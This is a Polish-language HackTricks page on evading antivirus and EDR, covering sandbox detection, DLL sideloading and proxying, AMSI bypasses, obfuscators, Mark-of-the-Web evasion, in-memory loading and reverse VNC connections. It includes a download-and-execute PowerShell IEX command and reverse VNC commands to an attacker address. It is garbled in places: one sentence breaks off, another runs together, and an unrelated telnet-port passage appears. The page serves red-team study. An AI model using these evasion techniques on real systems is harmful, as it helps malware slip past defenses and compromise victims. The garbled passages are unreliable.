<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
Obecnie antywirusy (AV) używają różnych metod sprawdzania, czy plik jest złośliwy czy nie, takich jak statyczne wykrywanie, dynamiczna analiza i dla bardziej zaawansowanych systemów EDR analiza behawioralna.
Statyczne wykrywanie jest osiągane poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że korzystanie z publicznie dostępnych narzędzi może prowadzić do łatwiejszego wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju wykrywania:
Jeśli zaszyfrujesz plik binarny, nie będzie możliwe wykrycie go przez AV, ale będziesz potrzebować pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.
Czasami wystarczy zmienić niektóre ciągi znaków w pliku binarnym lub skrypcie, aby uniknąć wykrycia przez AV, ale może to być czasochłonne zadanie, w zależności od tego, co próbujesz zobfuskować.
Dobrym sposobem sprawdzania wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Program ten dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, dzięki czemu można dokładnie określić, jakie ciągi znaków lub bajtów są oznaczone w pliku.
Gorąco polecam obejrzenie tej [playlisty na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) dotyczącej praktycznego unikania wykrycia przez AV.
Dynamiczna analiza polega na uruchomieniu twojego pliku binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próbie odszyfrowania i odczytania haseł przeglądarki, wykonaniu minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
* **Oczekiwanie przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być doskonały sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, dlatego używanie długich oczekiwania może zakłócać analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć oczekiwanie, w zależności od tego, jak jest to zaimplementowane.
* **Sprawdzanie zasobów maszyny** Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. <2GBRAM),wprzeciwnymraziemogłybyspowolnićpracęmaszynyużytkownika.Tutajmożeszrównieżbyćbardzokreatywny,naprzykładsprawdzająctemperaturęprocesoralubnawetprędkośćwentylatorów,niewszystkobędziezaimplementowanewpiaskownicy.
* **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stanowisko jest dołączone do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do podanej przez ciebie, jeśli nie, możesz zmusić program do zakończenia działania.
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją. Jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy Defendera, więc możesz zmusić program do zakończenia działania.
Na przykład, jeśli chcesz wydobyć LSASS, **czy naprawdę musisz używać mimikatz**? Czy możesz użyć innego projektu, który jest mniej znany i również wydobywa LSASS.
Prawidłową odpowiedzią jest prawdopodobnie ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z najbardziej oznaczonych przez AV i EDR szkodliwych programów, podczas gdy sam projekt jest super, jest również koszmarem w pracy z nim, aby ominąć AV, więc poszukaj alternatyw dla tego, czego próbujesz osiągnąć.
Modyfikując swoje ładunki w celu uniknięcia wykrycia, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** do defendera, a także, proszę, **NIE PRZEŁADOWUJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie uniknięcia wykrycia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek zostaje wykryty przez konkretny AV, zainstaluj go na maszyn
**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.
Możesz sprawdzić, czy programy są podatne na DLL Sideloading, używając [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
Bardzo polecam **samodzielne zbadanie programów podatnych na przechwycenie DLL/Sideloadable**, ta technika jest dość skryta, jeśli jest poprawnie wykonana, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.
Po prostu umieszczenie złośliwej DLL o oczekiwanej nazwie przez program nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje pewnych określonych funkcji wewnątrz tej DLL. Aby rozwiązać ten problem, użyjemy innej techniki o nazwie **DLL Proxying/Forwarding**.
**DLL Proxying** przekierowuje wywołania, które program wykonuje z proxy (i złośliwej) DLL do oryginalnej DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci/sgn)), jak i proxy DLL mają wskaźnik wykrywalności 0/26 w [antiscan.me](https://antiscan.me)! Nazwałbym to sukcesem.
**Gorąco polecam** obejrzenie [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [filmu ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE), aby dowiedzieć się więcej o tym, o czym rozmawialiśmy bardziej szczegółowo.
Unikanie wykrycia to gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj połączyć wiele technik unikania wykrycia.
AMSI został stworzony w celu zapobiegania "[malware bez plików](https://en.wikipedia.org/wiki/Fileless\_malware)". Początkowo, programy antywirusowe były w stanie skanować **pliki na dysku**, więc jeśli można było jakoś uruchomić ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.
Dzięki temu rozwiązaniu, rozwiązania antywirusowe mogą analizować zachowanie skryptów, ujawniając zawartość skryptów w formie niezaszyfrowanej i niezaciemnionej.
Uruchomienie polecenia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w programie Windows Defender.
Ponieważ AMSI głównie działa na podstawie statycznych wykryć, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
Jednak AMSI ma zdolność do odszyfrowywania skryptów, nawet jeśli mają wiele warstw, dlatego zaciemnienie może być złym wyborem, w zależności od tego, jak jest wykonane. To sprawia, że unikanie wykrycia nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.
Ponieważ AMSI jest implementowane poprzez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), łatwo można go naruszyć nawet jako użytkownik bez uprawnień. Ze względu na tę wadę w implementacji AMSI, badacze znaleźli wiele sposobów na unikanie skanowania AMSI.
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żadne skanowanie nie zostanie uruchomione dla bieżącego procesu. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerokiemu wykorzystaniu.
Wystarczyła jedna linia kodu powershell, aby uniemożliwić użycie AMSI dla bieżącego procesu powershell. Oczywiście ta linia została wykryta przez sam AMSI, więc konieczne jest wprowadzenie pewnych modyfikacji, aby użyć tej techniki.
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w pliku amsi.dll (odpowiedzialnego za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu go instrukcjami zwracającymi kod dla E\_INVALIDARG. W ten sposób wynik rzeczywistego skanowania zostanie zwrócony jako 0, co jest interpretowane jako czysty wynik.
Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) dla bardziej szczegółowego wyjaśnienia.
Istnieje również wiele innych technik używanych do omijania AMSI w PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) i [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ten temat.
Istnieje kilka narzędzi, które można użyć do **obfuskacji kodu C# w postaci tekstu jawnego**, generowania **szablonów metaprogramowania** do kompilacji binarnych lub **obfuskacji skompilowanych binarnych**, takich jak:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartej wersji [pakietu kompilacyjnego LLVM](http://www.llvm.org/), który może zapewnić zwiększone bezpieczeństwo oprogramowania poprzez [obfuskację kodu](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zabezpieczanie przed ingerencją.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, zaszyfrowanego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
* [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę zaszyfrowanych operacji generowanych przez szablonowe metaprogramowanie w C++, co utrudnia osobie próbującej złamać aplikację.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki PE, w tym: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to zaawansowany framework obfuskacji kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM przy użyciu ROP (programowanie oparte na powrotach). ROPfuscator obfuskuje program na poziomie kodu asemblera, zamieniając zwykłe instrukcje na łańcuchy ROP, utrudniając naturalny przepływ sterowania.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to krypter .NET PE napisany w Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące pliki EXE/DLL w kod shellcode, a następnie je załadować
Microsoft Defender SmartScreen to mechanizm bezpieczeństwa, który ma na celu ochronę użytkownika końcowego przed uruchamianiem potencjalnie złośliwych aplikacji.
SmartScreen głównie działa na podstawie reputacji, co oznacza, że pobieranie niezwykłych aplikacji spowoduje uruchomienie SmartScreen, co ostrzeże i uniemożliwi użytkownikowi uruchomienie pliku (choć plik nadal można uruchomić, klikając Więcej informacji -> Uruchom mimo to).
**MoTW** (Mark of The Web) to [Alternatywny Strumień Danych NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) o nazwie Zone.Identifier, który automatycznie tworzony jest podczas pobierania plików z internetu, wraz z adresem URL, z którego zostały pobrane.
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>Sprawdzanie alternatywnego strumienia danych Zone.Identifier dla pliku pobranego z internetu.</p></figcaption></figure>
Bardzo skutecznym sposobem na uniknięcie oznaczenia Mark of The Web dla twoich payloadów jest umieszczenie ich wewnątrz jakiegoś rodzaju kontenera, na przykład ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowany do woluminów **nie NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć oznaczenia Mark-of-the-Web.
Ładowanie binarnych plików C# w pamięci jest znane od dłuższego czasu i wciąż jest bardzo dobrym sposobem na uruchamianie narzędzi po eksploatacji bez wykrycia przez AV.
Ponieważ ładunek zostanie załadowany bezpośrednio do pamięci bez dotykania dysku, będziemy musieli jedynie martwić się o patchowanie AMSI dla całego procesu.
Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, itp.) już umożliwia wykonanie zestawów C# bezpośrednio w pamięci, ale istnieją różne sposoby na to:
Polega na **uruchomieniu nowego procesu ofiarnego**, wstrzyknięciu złośliwego kodu po eksploatacji do tego nowego procesu, wykonaniu złośliwego kodu i po zakończeniu zabicia nowego procesu. Metoda fork and run ma swoje zalety i wady. Zaletą tej metody jest to, że wykonanie odbywa się **poza** naszym procesem implantu Beacon. Oznacza to, że jeśli coś pójdzie nie tak lub zostanie wykryte w naszej akcji po eksploatacji, istnieje **dużo większa szansa** na **przeżycie implantu**. Wada polega na **większym ryzyku** wykrycia przez **wykrywanie zachowań**.
Polega na wstrzyknięciu złośliwego kodu po eksploatacji **do własnego procesu**. W ten sposób można uniknąć konieczności tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie nie tak podczas wykonywania ładunku, istnieje **dużo większa szansa** na **utratę beaconu**, ponieważ może on ulec awarii.
Jeśli chcesz dowiedzieć się więcej o ładowaniu zestawów C#, zapoznaj się z tym artykułem [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i ich InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Można również ładować zestawy C# **z poziomu PowerShell**, sprawdź [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [wideo S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Jak zaproponowano w [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), możliwe jest wykonywanie złośliwego kodu za pomocą innych języków, udostępniając zainfekowanemu komputerowi dostęp **do środowiska interpretera zainstalowanego na kontrolowanym przez atakującego udziale SMB**. 
Pozwalając na dostęp do binarnych interpreterów i środowiska na udziale SMB, można **wykonywać dowolny kod w tych językach w pamięci** zainfekowanego komputera.
Repozytorium wskazuje: Defender nadal skanuje skrypty, ale korzystając z Go, Java, PHP itp. mamy **większą elastyczność w omijaniu statycznych sygnatur**. Testowanie losowych niezobfuskowanych skryptów powrotnych powłok w tych językach okazało się skuteczne.
Unikanie jest bardzo skomplikowanym tematem, czasami trzeba uwzględnić wiele różnych źródeł telemetrii w jednym systemie, więc praktycznie niemożliwe jest całkowite pozostanie niewykrytym w dojrzałych środowiskach.
Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binarne**, aż **dowie się, którą część Defender** uznaje za złośliwą i podzieli ją dla ciebie.\
Inne narzędzie, które robi **to samo, to** [**avred**](https://github.com/dobin/avred) z otwartą usługą w sieci [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Aby zwiększyć bezpieczeństwo, zaleca się zmianę domyślnego portu telnet. Możesz to zrobić, edytując plik konfiguracyjny usługi telnet i zmieniając wartość portu na inny niż domyślny. Należy pamiętać, że porty poniżej 1024 są zarezerwowane dla uprzywilejowanych usług systemowych, dlatego warto wybrać port spoza tego zakresu.
Dodatkowo, wyłączenie zapory ogniowej może zwiększyć podatność na ataki, dlatego zaleca się zachowanie ostrożności i przemyślane podejście do tej decyzji. Jeśli jednak zdecydujesz się wyłączyć zaporę ogniową, upewnij się, że masz inne środki bezpieczeństwa, które zabezpieczą Twoją sieć przed nieautoryzowanym dostępem.
Pobierz go z: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (chcesz pobrać pliki binarne, a nie instalator)
**Atakujący** powinien **uruchomić** na swoim **hostingu** plik binarny `vncviewer.exe -listen 5900`, aby był **gotowy** do przechwycenia odwrotnego połączenia **VNC**. Następnie, w **ofierze**: Uruchom demona winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect <adres_ip_atakującego>::5900`
* Nie uruchamiaj `winvnc`, jeśli już działa, w przeciwnym razie wywołasz [okienko](https://i.imgur.com/1SROTTl.png). Sprawdź, czy działa za pomocą `tasklist | findstr winvnc`
* Nie uruchamiaj `winvnc` bez pliku `UltraVNC.ini` w tym samym katalogu, w przeciwnym razie spowoduje to otwarcie [okna konfiguracji](https://i.imgur.com/rfMQWcf.png)
* Nie uruchamiaj `winvnc -h` w celu uzyskania pomocy, w przeciwnym razie wywołasz [okienko](https://i.imgur.com/oc18wcu.png)
GreatSCT to narzędzie, które umożliwia tworzenie skryptów do omijania ochrony antywirusowej. Działa na platformie PowerShell i oferuje wiele funkcji, które mogą być wykorzystane do tworzenia zaawansowanych technik omijania AV.
GreatSCT umożliwia tworzenie skryptów w języku PowerShell, które mogą być używane do omijania ochrony antywirusowej. Można tworzyć skrypty, które wykorzystują różne techniki, takie jak kodowanie, szyfrowanie i zmienianie nazw plików, aby uniknąć wykrycia przez AV.
GreatSCT pozwala na generowanie payloadów, które mogą być używane do wykonywania różnych działań, takich jak zdalne uruchamianie kodu, przechwytywanie ekranu, przechwytywanie dźwięku itp. Payloady są generowane w taki sposób, aby omijać ochronę antywirusową i umożliwiać wykonanie żądanych działań na celu.
### Testowanie skuteczności
GreatSCT oferuje również narzędzia do testowania skuteczności omijania ochrony antywirusowej. Można użyć tych narzędzi, aby sprawdzić, czy stworzone skrypty i payloady są w stanie uniknąć wykrycia przez AV. Testowanie skuteczności jest ważne, aby upewnić się, że nasze techniki omijania AV są skuteczne i nie zostaną wykryte.
### Integracja z innymi narzędziami
GreatSCT może być również zintegrowane z innymi narzędziami, takimi jak Metasploit, aby umożliwić bardziej zaawansowane ataki. Można użyć GreatSCT do generowania payloadów, które mogą być wykorzystane w atakach za pomocą Metasploit, co zwiększa skuteczność ataku i umożliwia omijanie ochrony antywirusowej.
GreatSCT jest potężnym narzędziem, które może być wykorzystane do tworzenia zaawansowanych technik omijania ochrony antywirusowej. Dzięki jego funkcjom i możliwościom, jest to narzędzie, które powinno być brane pod uwagę przez każdego hakerów, którzy chcą unikać wykrycia przez AV i przeprowadzać skuteczne ataki.
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.